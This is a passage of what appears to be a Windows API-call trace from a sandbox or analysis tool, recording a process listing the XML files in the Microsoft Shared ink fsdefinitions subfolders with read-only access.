	[0050.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.858] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.858] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1
	[0050.858] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1
	[0050.858] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1
	[0050.858] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.858] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.863] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0050.864] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0050.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
	[0050.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0050.865] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.865] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.875] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.875] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1
	[0050.875] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.875] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.877] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.877] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1
	[0050.877] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.877] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.879] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.879] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1
	[0050.879] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.879] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.880] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.880] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1
	[0050.880] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.880] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.881] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.881] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1
